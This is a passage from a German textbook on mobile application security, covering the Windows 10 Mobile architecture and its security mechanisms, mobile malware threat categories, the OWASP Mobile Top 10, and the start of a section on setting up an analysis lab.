Tab. 1–4: Liste der Windows-Versionen und deren Erscheinungsdatum seit der ersten offiziellen<br />

Veröffentlichung in 2002 (s = Smartphone, t = Tablet, p = PDA/PocketPC)<br />

1.3.2 Die Architektur des Betriebssystems<br />

Die Architektur von Windows 10 <strong>Mobile</strong> kann in vier verschiedene Schichten<br />

unterteilt werden: Basis der Architektur ist der bereits erwähnte Windows-NT-<br />

Kernel, darüber liegen die WinRT APIs – die Schicht, die für Grafik, Audio und<br />

Video zuständig ist. Eine Schicht darüber folgt das Component Object Model,<br />

das den Anwendungsentwicklern verschiedene Runtimes zur Verfügung stellt und<br />

somit erlaubt, auf Basis der Kombination aus HTML, CSS und JavaScript oder<br />

XAML und einer der Programmiersprachen .NET, C# oder C++ Applikationen<br />

zu entwickeln. Als oberste Ebene folgen schließlich die eigentlichen Applikationen<br />

(siehe Abbildung 1–6). Jede dieser vier Schichten stellt spezielle Interfaces<br />

und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine<br />

Interaktion zwischen den einzelnen Schichten ermöglicht wird.<br />

Windows-NT-Kernel<br />

Der Windows-NT-Kernel, der ebenso die Basis aller Desktop-Betriebssysteme von<br />

Microsoft seit dem gleichnamigen Windows NT ist, besitzt selbst einen modularen<br />

Aufbau. Die unterste Ebene der Kernel-Schicht bildet der Hardware Abstraction<br />

Layer. Darauf bauen der eigentliche Hybridkernel und die später erwähnten<br />

Subsysteme auf. Der Hybridkernel kümmert sich dabei um die Vergabe des Arbeitsspeichers<br />

und der Rechenleistung auf der CPU und anderen verbauten Co-<br />

Prozessoren.


1.3 Windows 10 <strong>Mobile</strong> 21<br />

Modern UI Applications<br />

XAML<br />

HTML5 / CSS /<br />

WinJS<br />

DirectX Runtime<br />

Component Object Model<br />

C / C++<br />

Runtime<br />

.Net Runtime<br />

Chakra-Engine<br />

Communication<br />

& Data<br />

Graphics &<br />

Media<br />

Devices<br />

WinRT APIs<br />

Metadata &<br />

Namespace<br />

Windows NT Kernel<br />

Abb. 1–6: Übersicht über die Architektur des Windows-10-<strong>Mobile</strong>-Betriebssystems<br />

WinRT APIs<br />

Direkt auf dem Kernel aufbauend befindet sich die Windows Runtime, auch<br />

WinRT genannt, mit den essenziellen Schnittstellen zwischen den eigentlichen<br />

Applikationen und dem Hardware Abstraction Layer. Hier sind all die APIs vorhanden,<br />

die eine Applikation im Hintergrund benötigt, um auf den lokalen Speicher<br />

zuzugreifen, SMS zu versenden, Kommunikation per NFC oder WLAN vorzunehmen<br />

oder auch einfach nur ein Video abzuspielen. Die wichtigsten Schnittstellen<br />

sind dabei die folgenden:<br />

Windows RT Core: Sie übernimmt alles, was die Bereiche Authentifizierung,<br />

Kryptografie, Speichermanagement und das parallele Verarbeiten von Prozessen<br />

betrifft.<br />

Communication & Data: Hier wird alles gesteuert, was lokalen sowie Cloudbasierten<br />

Speicher betrifft, aber auch die generelle Kommunikation über<br />

Netzwerke (GSM, Wi-Fi, NFC etc.).<br />

Devices: In dieser API werden die Anfragen zu wichtigen Sensoren des Endgerätes<br />

gesteuert. Hierzu zählen u. a. GPS, Lichtsensor, aber auch die Kamera.<br />

Graphics & Media: Diese API ist für das Anzeigen von grafischen Effekten, der<br />

eigentlichen Oberfläche und auch von Videos und Bildern zuständig.


22 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Component Object Model<br />

Das Component Object Model, auch bekannt unter der Abkürzung COM, ist<br />

eine Technik zur Erstellung von Softwarekomponenten, die unabhängig von der<br />

Programmiersprache eingesetzt werden können. Komponenten des COM ermöglichen<br />

Interprozesskommunikation und dynamische Objekterzeugung. Der Aufbau<br />

des COM ist dabei Client/Server-basiert, wobei der Server auch auf dem<br />

lokalen Endgerät laufen kann.<br />

In dieser Schicht des OS sind eine ganze Menge verschiedener Runtimes implementiert,<br />

die für den Entwickler von Applikationen eine vereinfachte Abstraktion<br />

der APIs aus der WinRT-Schicht bieten. Möchte er also z. B. mit .NET eine<br />

Applikation programmieren, so findet er in dieser Schicht fertige APIs, die er einbinden<br />

kann, um z. B. auf die Kamera oder den lokalen Speicher zuzugreifen.<br />

Innerhalb dieser Runtimes sind jedoch nicht alle verfügbaren WinRT APIs abgebildet.<br />

Möchte der Entwickler auf nicht zur Verfügung stehende Klassen und<br />

APIs aus dem darunterliegenden Framework zugreifen, muss die Applikation zwischen<br />

einem Client und einem Server aufgeteilt werden. An dieser Stelle greift das<br />

Component Object Model mit seinen vorhandenen Templates ein und unterstützt<br />

den Entwickler bei seinem Vorhaben.<br />

Im Wesentlichen kann diese Schicht als Vermittler zwischen der Programmiersprache,<br />

in der die Applikation geschrieben ist, und den WinRT APIs gesehen<br />

werden.<br />

Applikationen<br />

Die oberste Schicht stellen wie üblich die Applikationen selbst dar. Diese laufen<br />

auch bei Windows 10 <strong>Mobile</strong> in einer Sandbox. Diese Sandbox sorgt dafür,<br />

dass Applikationen in einer isolierten und überwachten Umgebung ablaufen, wo<br />

sie nur begrenzten Zugriff auf das Betriebssystem, die darin enthaltenen APIs<br />

und andere Applikationen erhalten. Einzige Ausnahme sind hier Applikationen,<br />

die mit einem Enterprise-Zertifikat signiert sind. Diese können unter bestimmten<br />

Voraussetzungen diese Abschottung umgehen.<br />

Das Modell bei Windows 10 <strong>Mobile</strong> ist – ähnlich wie es auch die Entwicklung<br />

bei iOS zeigt – darauf ausgelegt, alle Daten in der Cloud zu speichern und<br />

nur lokale Daten vorzuhalten, um auch offline arbeiten zu können oder um die<br />

Geschwindigkeit beim Arbeiten mit Applikationen zu erhöhen.<br />

Microsoft setzt beim Verteilen der Applikationen auf zentrale Verfahren. Dazu<br />

gehören der Windows Store, Configuration Manager (ein Teil des Microsoft<br />

System Center), firmeneigene <strong>Mobile</strong> Device Management (MDM)-Systeme oder<br />

das Cloud-basierte Windows InTune (Microsofts eigenes <strong>Mobile</strong> Device Management<br />

[MDM]).


1.3 Windows 10 <strong>Mobile</strong> 23<br />

1.3.3 Besondere Sicherheitsmechanismen<br />

Windows 10 <strong>Mobile</strong> bietet eine Menge Sicherheitsfeatures, die wir teilweise auch<br />

von iOS und Android kennen, aber auch von Systemen vergangener Zeiten wie<br />

Symbian. Man hat hier versucht, ein wirklich durchdachtes Sicherheitskonzept<br />

auf die mobilen Endgeräte zu bekommen. Einige der wichtigsten Komponenten<br />

davon werden im Folgenden kurz erläutert2 :<br />

Nutzerauthentifizierung: Neben den von anderen Systemen bereits bekannten<br />

Möglichkeiten, den Nutzer zu authentifizieren (wie PIN oder Passwort), bietet<br />

Windows 10 <strong>Mobile</strong> auch die Möglichkeit der Iris-Erkennung. Hierbei<br />

wird mit einer Kombination aus dem IR-Licht-Bereich und einer hochauflösenden<br />

Kamera die Iris des Nutzers fotografiert und gegen die gelernten<br />

Muster des legitimen Nutzers abgeglichen. Durch die Verwendung von Licht<br />

aus dem IR-Bereich wird es deutlich erschwert, dieses System mit bekannten<br />

Techniken [15] zu überlisten.<br />

Enterprise Data Protection (EDP): Das Herzstück der Verschlüsselung von<br />

Windows-10-<strong>Mobile</strong>-Endgeräten ist eine TPM-gestützte Version von Bit-<br />

Locker mit definierbaren Cipher Suites. Hinzu kommt eine Trennung der<br />

Firmen- und Privatdaten, wie wir sie schon von iOS oder Android-for-Work<br />

kennen: Whitelist für Applikationen, die auf Firmendaten oder das Firmen-<br />

VPN zugreifen dürfen, Abkapselung der verschiedenen Bereiche (sodass ein<br />

Nutzer keine Firmendaten manuell in den persönlichen Bereich kopieren<br />

kann) und das automatische Taggen von Firmendaten bei der Verarbeitung.<br />

Secure Boot: Windows 10 <strong>Mobile</strong> setzt hierbei auf eine Technik, wie wir sie bereits<br />

bei iOS gesehen haben. Sobald ein Windows-10-<strong>Mobile</strong>-Endgerät startet,<br />

prüft die UEFI-Firmware die digitale Signatur des Bootloaders, um sicherzustellen,<br />

dass dieser nicht manipuliert wurde. Zusätzlich wird geprüft,<br />

ob das Zertifikat, das für die digitale Signatur verantwortlich ist, von einer<br />

vertrauenswürdigen Stelle ausgestellt wurde – in diesem Fall von Microsoft<br />

selbst. Erst wenn diese Prüfungen erfolgreich absolviert wurden, wird der<br />

Bootloader geladen und ausgeführt. Im nächsten Schritt prüft der Bootloader<br />

die Integrität und Signatur des Windows-NT-Kernels und lädt ihn nur, falls<br />

auch hier wieder alle Prüfungen bestanden werden. Als letzten Schritt folgen<br />

nun die Prüfungen der restlichen Komponenten, die zum Starten von Windows<br />

10 <strong>Mobile</strong> notwendig sind. Auch hier werden vor allem die digitalen<br />

Signaturen und die Integrität der Komponenten geprüft.<br />

Health Attestation Service (HAS): Device Health Attestation verwendet das TPM<br />

(Trusted Platform Module) des mobilen Endgerätes zusammen mit Funktionen,<br />

die in der Firmware integriert sind, um essenzielle und kritische Sicherheitsfunktionen<br />

des BIOS und des Secure-Boot-Vorgangs zu überwachen.<br />

2 Für eine ausführliche Betrachtung empfehle ich: https://technet.microsoft.com/en-us/<br />

itpro/windows/keep-secure/windows-10-mobile-security-guide


24 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Laut Microsoft werden diese Messungen und Überwachungen so durchgeführt,<br />

dass es für einen Angreifer oder eine Malware nahezu unmöglich ist,<br />

den Prozess zu manipulieren. Die so ermittelten Daten werden dann an den<br />

HAS gesendet und dort ausgewertet. Ist das überwachte Gerät Teil eines<br />

MDM, so können hier die Ergebnisse vom HAS abgerufen und ausgewertet<br />

werden. Manipulierte Endgeräte sind auf diese Weise schnell erkennbar<br />

und können mit vorkonfigurierten Prozessen abgehandelt werden (z. B. mit<br />

Remote Wipe, sobald HAS Hinweise auf eine Manipulation meldet).<br />

1.4 Chancen und Risiken von mobilen Applikationen<br />

Smartphones und Tablets sind aus dem Privatleben sowie aus dem Firmenalltag<br />

nicht mehr wegzudenken. Dabei haben sie schon lange als reine Kommunikationsmedien<br />

ausgesorgt und dienen heutzutage vielmehr als Ersatz für das Notebook<br />

oder den alten Arbeitsplatzrechner. Genau hier liegen auch die Chancen für<br />

mobile Apps: neue Einsatzszenarien für diese Art der Geräteklassen schaffen oder<br />

bekannte Einsatzszenarien auf die mobile Welt portieren.<br />

Betrachtet man, wie diese Geräte in den letzten Jahren eingesetzt werden, so<br />

sieht man schnell, dass Zugriffe auf geschützte Netze – meist per VPN – und<br />

das Bearbeiten und Erstellen von Office-Dokumenten (Word, Excel, aber auch<br />

Präsentationen mit PowerPoint oder Keynote) keine Ausnahme mehr sind. Vor<br />

allem die immer größer werdenden Displays der Smartphones zielen darauf ab,<br />

auch unterwegs die Aufgaben erledigen zu können, für die man noch vor einigen<br />

Jahren das Notebook hätte auspacken müssen.<br />

<strong>Mobile</strong> Future ist nicht nur ein sogenanntes Buzzword, sondern ein Trend,<br />

den immer mehr Firmen spüren und dem sie auch nachgehen möchten. Aus diesem<br />

Grund werden immer mehr Arbeitsabläufe in Apps implementiert oder zumindest<br />

integriert. Die Flut an vorhandenen Apps steigt dadurch täglich weiter<br />

an, was dazu führt, dass man wirklich für jeden Einsatzzweck eine passende App<br />

findet. Aber halten diese Apps auch immer, was sie versprechen? Gerade im Firmenumfeld<br />

oder wenn es um sensible private Daten geht, spielt die Sicherheit eine<br />

wichtige Rolle. Im Folgenden wird kurz aufgezeigt, welche Gefahren und Bedrohungen<br />

es in der Welt der Apps gibt, bevor in den späteren Kapiteln demonstriert<br />

wird, wie man herausfindet, ob die ausgewählte App auch wirklich das hält, was<br />

sie verspricht.<br />

1.4.1 Bedrohungsszenarien durch schadhafte Applikationen<br />

Durch die gesteigerte Nutzung von Smartphones sowie das geänderte Verteilungsmodell<br />

von Applikationen, konnten Kriminelle Smartphones als potenzielles<br />

Ziel für Malware identifizieren, um private Informationen zu stehlen und das


1.4 Chancen und Risiken von mobilen Applikationen 25<br />

Smartphone für Premium-SMS-Services zu missbrauchen oder benötigte Bank-<br />

Informationen (mTAN) zu manipulieren. In diesem Abschnitt gebe ich einen<br />

kurzen Überblick über aktuelle mobile Bedrohungen und beschreibe, warum die<br />

Android-Plattform die am meisten betroffene ist.<br />

<strong>Mobile</strong> Bedrohungen können in zwei Klassen kategorisiert werden: webbasiert<br />

und applikationsbasiert. Die webbasierten Bedrohungen auf Mobiltelefonen<br />

sind ein wachsender Angriffsvektor von Kriminellen. Diese Bedrohungen<br />

verlassen sich auf eine starke Nutzung von mobilen Browsern und deren Featurereichen<br />

Implementationen. Moderne Webbrowser unterstützen Funktionen wie<br />

embedded Video Players oder Video-Anrufe. Aufgrund der Beschaffenheit dieser<br />

Funktionen, z. B. Parsen von großen Mengen externer Daten, ist die Wahrscheinlichkeit<br />

groß, dass ausnutzbare Schwachstellen vorhanden sind. Darüber hinaus<br />

sind Angreifer in der Lage, Nutzer dazu zu bringen, einem Web-Link zu folgen,<br />

den sie via E-Mail oder Social Media erhalten haben, und dadurch das Smartphone<br />

zu infizieren, indem sie eine Browserschwachstelle ausnutzen.<br />

Der zweite Typ von mobilen Bedrohungen sind applikationsbasierte Bedrohungen<br />

durch Drittanbieter-Applikationen in den mobilen Märkten. Um Applikationen<br />

auf den Smartphones zu installieren, haben Hardwarehersteller (wie Lenovo,<br />

Samsung etc.) sogenannte <strong>Mobile</strong> Markets wie z. B. Apples »App Store«<br />

and Googles »Google Play« entwickelt. Auf iOS-basierten Geräten kann Software<br />

nur vom App Store bezogen werden. Darüber hinaus bewertet Apple jede<br />

Software, die in den App Store geladen wird, und lässt nur Apps zu, die bestimmte<br />

(nicht näher spezifizierte) Sicherheitschecks bestehen. Auf Android-Geräten ist<br />

der Nutzer in der Lage, Applikationen von Drittanbieter-Märkten zu installieren.<br />

Besonders in Asien sind viele dieser Märkte entstanden. Typischerweise besteht<br />

bei Nutzung dieser Märkte ein großes Risiko, dass man sich bei der Installation<br />

von Applikationen schadhafte Applikationen einfängt, da die Marktbesitzer die<br />

angebotenen Applikationen nicht entsprechend prüfen.<br />

Betrachtet man die schadhaften Applikationen aus solchen Märkten genauer,<br />

so kann man sie – nach Felt et al. [6] – in die folgenden drei Bedrohungstypen<br />

eingruppieren:<br />

Malware: Angreifer wollen durch die Installation von Malware Zugang zum Gerät<br />

erhalten. Das Ziel: Daten stehlen, Aktionen fernsteuern oder das Gerät<br />

beschädigen. Malware wird installiert, indem man den Nutzer dazu bringt,<br />

eine vertrauenswürdig aussehende Applikation zu installieren, oder es wird –<br />

wie in sehr vielen Fällen – eine Schwachstelle im Gerät ausgenutzt, z. B. eine<br />

Sicherheitslücke im Webbrowser.<br />

Spyware: Das Ziel von Spyware ist es, Informationen über das Opfer zu sammeln<br />

und diese dann an die Person, die die Spyware installiert hat, zu senden. Felt<br />

et al. behaupten, dass Spyware auf dem Gerät des Opfers installiert wird,<br />

indem der Angreifer physischen Zugriff auf das Smartphone hat. Betrachtet<br />

man jedoch Beispiele aus den letzten beiden Jahren, so sieht man, dass diese


26 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Voraussetzung nicht mehr erfüllt sein muss und sich solche Tools auch über<br />

das Ausnutzen bekannter Lücken oder Social-Engineering-Techniken auf das<br />

Zielgerät aufbringen lassen können.<br />

Grayware: Nutzer, die die Software selbst installiert haben, da sie dachten, sie<br />

wäre in Ordnung, sollen hiermit ausspioniert oder zu unseriösen Angeboten<br />

verleitet werden. Teilweise funktioniert die Software wie gedacht, da die Entwickler<br />

reale Funktionen wie versprochen eingefügt haben. Trotzdem sammeln<br />

sie Informationen über das System, wie z. B. das Adressbuch des Nutzers<br />

oder seine Browser-Historie. Das Hauptziel ist es, Daten für Marketingzwecke<br />

etc. zu sammeln oder zusätzliche Werbeeinblendungen vorzunehmen.<br />

Man bezeichnet diese Applikationen auch oft als Pontentially Unwanted Applications<br />

(PUA) oder Adware.<br />

Die Verteilung dieser Bedrohungstypen auf schadhafte Applikationen, die in freier<br />

Wildbahn gefunden wurden, ist in Abbildung 1–7 zu sehen. Dabei ist zu beachten,<br />

dass die meisten schadhaften Applikationen mehr als eine dieser abgebildeten<br />

Eigenschaften vereint. Das beliebteste Ziel für Angreifer und Malware-Autoren<br />

ist immer noch der Diebstahl von sensiblen Daten wie z. B. Telefonbucheinträge<br />

oder Nutzernamen für Online-Plattformen. Direkt danach sehen wir die schadhaften<br />

Applikationen, die Eigenschaften eines Botnetzes beinhalten, dazu zählen<br />

z. B. Verbindung zu einem C&C-Server, um Befehle in Empfang zu nehmen oder<br />

Daten dorthin abfließen zu lassen. Neu dazugekommen sind in 2013 die kommerziellen<br />

Malware-Applikationen, die zum Ausspähen von Privatpersonen oder<br />

Firmen verwendet werden. Ebenso stark zugenommen hat in den vergangenen<br />

zwei Jahren die Art der schadhaften Applikationen, die auf das Abfangen und die<br />

Manipulation von mTAN-Nachrichten aus sind. In 2015 kam eine neue Bedro-<br />

100<br />

80<br />

60<br />

2011<br />

2012<br />

2013<br />

2014<br />

2015<br />

40<br />

20<br />

0<br />

Versand von Premium SMS<br />

Nutzer-Ortung<br />

Diebstahl sensibler Daten<br />

Botnetze<br />

Root-Exploits<br />

Adware und PUA<br />

Kommerzielle Malware<br />

Online-Banking-Trojaner<br />

Cryptolocker<br />

Abb. 1–7: Android-Malware-Verteilung in freier Wildbahn in den vergangenen Jahren


1.5 OWASP <strong>Mobile</strong> Top 10 27<br />

hung hinzu, die Cryptolocker bzw. allgemeiner gesagt die Ransomware. Diese<br />

Malware verschlüsselt das Endgerät oder die Nutzerdaten mit einem Passwort,<br />

das der Nutzer nicht kennt. Im Nachgang wird eine Meldung angezeigt, dass<br />

der Nutzer einen gewissen Betrag zahlen muss, um das Passwort für seine Daten<br />

zu erhalten. Der eigentliche Unterschied zwischen Ransomware und den Cryptolockern<br />

liegt hierbei im Detail: Bei gängiger Ransomware werden die Daten des<br />

Nutzers nicht verschlüsselt, sondern lediglich das Gerät gesperrt und eine Erpressungsmeldung<br />

angezeigt. Diese Masche ist aus der PC-Welt seit einigen Jahren<br />

bekannt und gefürchtet und nun auch im Android-Umfeld im Aufschwung. In<br />

Abbildung 1–7 haben wir diese beiden Arten von Schadcode unter dem Begriff<br />

der Cryptolocker zusammengefasst, da in den vergangenen Monaten fast keine<br />

Ransomware mehr erschienen ist, die nicht im Hintergrund die Daten des Nutzers<br />

verschlüsselt hat.<br />

1.5 OWASP <strong>Mobile</strong> Top 10<br />

Die Non-Profit-Organisation OWASP (Open Web Application Security Project)<br />

hat in den vergangenen Jahren immer wieder mobile Applikationen betrachtet<br />

und dabei ein starkes Augenmerk auf die Sicherheit dieser Applikationen gelegt.<br />

Eines der Ergebnisse hierbei war die <strong>Mobile</strong>-Top-103 -Liste, die die zehn kritischsten<br />

Gefahren für mobile Applikationen beschreibt. Die Fassung aus dem Jahr<br />

2015 zeigt Abbildung 1–8.<br />

Abb. 1–8: Die <strong>Mobile</strong> Top 10 von OWASP<br />

3 <strong>Mobile</strong> Top 10: https://www.owasp.org/index.php/Projects/OWASP_<strong>Mobile</strong>_<br />

Security_Project_-_Top_Ten_<strong>Mobile</strong>_Risks


28 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Im Folgenden werden diese Gefahren kurz erläutert und es wird darauf eingegangen,<br />

wie deren Einfluss auf die Sicherheit der Applikationen einzuschätzen ist.<br />

Bei all diesen Punkten darf man jedoch nie vergessen, dass es hier um ein<br />

stetiges Katz-und-Maus-Spiel geht und man als Entwickler wie auch als Angreifer<br />

immer auf dem aktuellsten Stand sein muss. Sehr oft gibt es neue Werkzeuge,<br />

die das Umgehen von eingebauten Sicherheitsmaßnahmen ermöglichen, die noch<br />

bis vor Kurzem als sicher galten. Auch tauchen immer wieder Schwachstellen in<br />

Bibliotheken auf, die einen neuen Angriff ermöglichen und so die Applikation<br />

und deren Daten gefährden, obwohl der Entwickler bei der Programmierung und<br />

dem Design der Applikation alles richtig gemacht hatte. Hier helfen auf beiden<br />

Seiten nur schnelle Updates und Anpassungen an die Umwelt.<br />

1.5.1 M1: Weak Server Side Controls<br />

Hierbei handelt es sich im Wesentlichen um Probleme, die mit dem Backend<br />

der mobilen Applikation zu tun haben. Also Dinge wie Authentifiziert sich der<br />

Nutzer bzw. die Applikation korrekt?, Wie ist das Session-Handling implementiert?<br />

oder Macht das Backend eine Überprüfung der Übergabewerte, die es von<br />

der Applikation erhält?. Diese Schwachstellen sind sehr einfach auszunutzen und<br />

ziehen oft gravierenden Schaden nach sich. Die Fehler dieser Kategorie lassen<br />

sich aber zumeist nicht in der Applikation beseitigen, sondern im Backend selbst,<br />

weshalb hier eine gute Zusammenarbeit von App-Entwickler und Webservice-<br />

Betreiber/-Entwickler nötig ist. Im weiteren Verlauf des Buches werden wir auf<br />

diese Schwachstellen ein nur geringes Augenmerk legen.<br />

1.5.2 M2: Insecure Data Storage<br />

Bei dieser Schwachstelle geht es um die Art und Weise, wie eine Applikation ihre<br />

verarbeiteten Daten sowie ihre Konfigurationsdaten ablegt. Zu diesen Daten<br />

zählen z. B. SQLite-Datenbanken, plist-Dateien, aber auch Logdateien. Viele Entwickler<br />

mobiler Applikationen verlassen sich hierbei komplett auf die Tatsache,<br />

dass die Applikationen auf den Endgeräten in abgeschotteten Umgebungen ausgeführt<br />

werden und daher ein Zugriff auf ihre Daten nicht möglich sein sollte.<br />

Dies ändert sich aber in dem Moment, wo ein solches Endgerät manipuliert oder<br />

gar infiziert ist. Ebenso wird hierbei oft vergessen, dass es Bereiche gibt, die von<br />

dieser Trennung nicht betroffen sind, wie z. B. die SD-Karte bei einem Android-<br />

Endgerät. Auf Schwachstellen dieses Typs und die damit verbundene Ausnutzbarkeit<br />

wird in den Abschnitten 4.7, 6.4 sowie 8.2 eingegangen.


1.5 OWASP <strong>Mobile</strong> Top 10 29<br />

1.5.3 M3: Insufficient Transport Layer Protection<br />

Beim Design von mobilen Applikationen spielt die Datenübertragung zum Backend<br />

eine wichtige Rolle und ist in fast jeder Applikation vorhanden. Bei der Übertragung<br />

müssen die Daten durch mehrere Netze transportiert werden, bis sie das<br />

eigentliche Ziel erreichen. Zu diesen Netzen zählt das Netz des Telekommunikationsanbieters<br />

sowie das Internet. Auf diesem Weg gibt es eine Vielzahl von Gefahren<br />

und Unbekannten (wie z. B. manipulierte Wi-Fi-Router oder GSM-Zellen,<br />

Proxies oder Malware auf dem Endgerät). Um trotz dieser Gefahren eine sichere<br />

Datenübertragung zu gewährleisten, verwenden die meisten Applikationen SSL/<br />

TLS um die Übertragung zu verschlüsseln. Dabei können jedoch eine Menge Fehler<br />

passieren, die in Kapitel 9 aufgezeigt und ausgenutzt werden.<br />

1.5.4 M4: Unintended Data Leakage<br />

Der ungewollte Datenabfluss geschieht immer dann, wenn ein Entwickler auf<br />

Funktionen des darunterliegenden Betriebssystems zurückgreift, die unbeabsichtigte<br />

oder nicht beachtete Seiteneffekte besitzen. Dazu gehört z. B. das Cashing<br />

von URLs oder die Zwischenablage. Kennt ein Angreifer diese Eigenschaften,<br />

so kann er durch den Einsatz forensischer Werkzeuge oder durch Malware mit<br />

speziellen Eigenschaften diese Seiteneffekte ausnutzen. Diese Schwachstelle bzw.<br />

Designfehler werden wir im Verlauf des Buches immer wieder finden.<br />

1.5.5 M5: Poor Authorization and Authentication<br />

Hierbei geht es im Wesentlichen um schwache oder nicht ausreichende Nutzerauthentifizierung<br />

oder Überprüfung der Rechte des authentifizierten Nutzers. Häufige<br />

Fehler hierbei sind die Verwendung von leicht fälschbaren Werten, wie z. B.<br />

der IMEI oder der GPS-Daten. Ebenso sieht man öfters, dass zwar die Applikation<br />

eine PIN besitzt, um den Nutzer zu authentifizieren, diese aber nicht zur<br />

Verschlüsselung der Anfragen oder Datenhaltung verwendet wird. Hierdurch ist<br />

es einem Angreifer möglich, die Daten der Applikation auszulesen oder sich durch<br />

gültige Requests an das Backend als der eigentliche Nutzer auszugeben. Beispiele<br />

für solche Designfehler werden u. a. in Abschnitt 4.7.3 demonstriert und sind<br />

leider sehr häufig aufzufinden bei mobilen Applikationen.<br />

1.5.6 M6: Broken Cryptography<br />

Viele Entwickler von Applikationen wissen inzwischen, welche Algorithmen als<br />

sicher gelten und setzen diese auch bei der Verschlüsselung ihrer Daten und Verbindungen<br />

ein. Problematisch sind jedoch immer wieder die verwendeten Schlüssel<br />

– das eigentliche Geheimnis. Hier sieht man häufig, dass nicht ein echtes Geheimnis,<br />

wie eine PIN des Nutzers, verwendet wird, sondern sogenannte hardcoded<br />

Credentials. Beim Reversing einer Applikation können diese Schlüssel sehr


30 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

einfach ausgelesen werden und die Verschlüsselung damit rückgängig gemacht<br />

werden. Dies ist eines der größten Probleme, da Entwickler immer zwischen Benutzbarkeit<br />

und Sicherheit abwägen müssen und PINs sowie Passwörter bei Nutzern<br />

sehr unbeliebt sind. Ohne diese ist jedoch eine gute Verschlüsselung nur sehr<br />

schwer umsetzbar.<br />

1.5.7 M7: Client Side Injection<br />

Dies ist einer der Klassiker aus dem Bereich des Pentestings. Der Angreifer versucht<br />

hierbei, Code oder Daten an die Applikation weiterzugeben, mit der sie<br />

nicht umgehen kann, und erhofft hierdurch Fehlverhalten auszulösen, das die<br />

Rechte erweitert oder sensible Daten freigibt. Dies geschieht meist durch fehlende<br />

Eingabevalidierung (engl. Input Validation) oder durch Verwendung anfälliger<br />

Bibliotheken. Beispiele für solche Schwachstellen, die sehr ernst zu nehmende Angriffsvektoren<br />

sind, zeigt u. a. Abschnitt 4.4.<br />

1.5.8 M8: Security Decisions Via Untrusted Inputs<br />

Hierbei handelt es sich um Designschwachstellen, die man aus dem Bereich der<br />

Webapplikationen sehr gut kennt. Die Applikation übergibt versteckte Parameter<br />

an das Backend oder eine andere Applikation auf dem Endgerät, die sensitive<br />

Informationen beinhalten. Hierzu kann z. B. die Rolle des Nutzers (User oder Admin)<br />

zählen. Ein Angreifer oder eine Malware kann diese Kommunikation (meist<br />

IPC- oder webbasiert) abfangen und manipulieren. Hierdurch ist es möglich, die<br />

Rechte des Nutzers auszuweiten oder andere als gewünschte Daten zurückzugeben.<br />

Auf IPC-Ebene sehen wir diese Schwachstellen nur sehr selten, nichtsdestotrotz<br />

sollte man sie aber dennoch beachten, da sie gerade bei der Kommunikation<br />

mit dem Backend wichtig sind.<br />

1.5.9 M9: Improper Session Handling<br />

Damit eine Applikation mit dem Backend im Namen eines Nutzers kommunizieren<br />

kann, wird meist nach erfolgreicher Authentifizierung ein Token generiert,<br />

das eindeutig zuordenbar ist. Häufige Probleme hierbei sind, dass diese Token<br />

mit einer zu geringen Entropie generiert werden, dadurch also vorhersehbar sind,<br />

oder eine viel zu lange Gültigkeit haben. Ebenso sieht man häufig, dass diese Token<br />

auch noch nach einem Log-out des Nutzers gültig sind und nicht ordnungsgemäß<br />

entwertet werden. Des Weiteren kommt es häufig vor, dass diese Token<br />

unzureichend auf dem Endgerät selbst geschützt werden und so ein Angreifer lediglich<br />

das Token stehlen muss, um sich als ein anderer Nutzer gegenüber dem<br />

Backend auszugeben. Diese Schwachstelle ist ebenfalls sehr bekannt aus dem Bereich<br />

der Webapplikationen und sollte immer überprüft werden.


1.6 Eine Laborumgebung erstellen 31<br />

1.5.10 M10: Lack of Binary Protections<br />

Hier geht es ganz wesentlich um den Schutz der eigenen Applikation vor Angriffen,<br />

wie wir sie in den kommenden Kapiteln durchführen werden. Als Entwickler<br />

einer Applikation sollte man sich immer überlegen, ob es sinnvoll ist, seine Applikation<br />

vor Reversing zu schützen. So kann man Methoden einfügen, die die<br />

Integrität des Endgerätes prüfen, oder bekannte Werkzeuge zum Reversing so<br />

manipulieren, dass diese nicht mehr funktionieren. Auch Code-Verschleierung ist<br />

ein gerne verwendetes Mittel, um es einem Analysten oder Angreifer besonders<br />

schwer zu machen, die Applikation zu verstehen. Viele der im Folgenden gezeigten<br />

Angriffe funktionieren nur, da der Entwickler sich um diesen Punkt keine –<br />

oder nicht ausreichende – Gedanken gemacht hat.<br />

1.6 Eine Laborumgebung erstellen<br />

Möchte man Applikationen für mobile Endgeräte erstellen oder auch analysieren,<br />

so ist es wichtig, dass man die passende Labor- bzw. Arbeitsumgebung bei<br />

sich eingerichtet hat. In den folgenden Abschnitten wird gezeigt, wie Sie die entsprechenden<br />

Umgebungen für die Arbeit mit den verschiedenen mobilen Betriebssystemen<br />

einrichten können. Diese Beschreibungen dienen dabei als grobe Blaupause,<br />

sollen aber keinesfalls den Eindruck erwecken, als wären dies die einzigen<br />

Möglichkeiten, wie eine optimale Laborumgebung auszusehen hat.<br />

Für alle Laborumgebungen gilt jedoch, dass man sich grob an das in Abbildung<br />

1–9 gezeigte Netzwerklayout halten sollte. Dieses ist besonders dann<br />

wichtig, wenn es auch darum geht, zu überprüfen, wie eine Applikation mit dem<br />

Internet und möglichen Backend-Servern kommuniziert und welche Daten dort<br />

versendet werden (Kapitel 9 bietet die entsprechenden Details und Angriffe zu<br />

diesem Bereich der Analyse). Dabei müssen nicht alle Komponenten physisch separiert<br />

vorhanden sein (wie auf der Abbildung angedeutet), sondern können auch<br />

mittels Software implementiert oder auf einem Gerät kombiniert eingesetzt werden.<br />

Ein Minimal-Setup wäre z. B. ein Wi-Fi-fähiger Analyserechner, der mittels<br />

Software einen Proxy implementiert und das Smartphone mit der zu analysierenden<br />

Applikation per USB verbunden hat.<br />

1.6.1 Laborumgebung für Android-Analysen<br />

In diesem Abschnitt wird kurz auf die wichtigsten Pakete und Einstellungen eingegangen,<br />

die auf einem klassischen Analyserechner vorhanden sein sollten, wenn<br />

es um die Analyse von Android und dessen Applikationen geht. Schauen wir uns<br />

zunächst die Grundpakete an, die das verwendete Linux OS in die Lage versetzen,<br />

die in den Kapiteln 3 und 4 gezeigten Tools ausführen zu können. Im Anschluss<br />

werde ich noch kurz zeigen, wie man einen Emulator einrichtet, da dies im Verlauf<br />

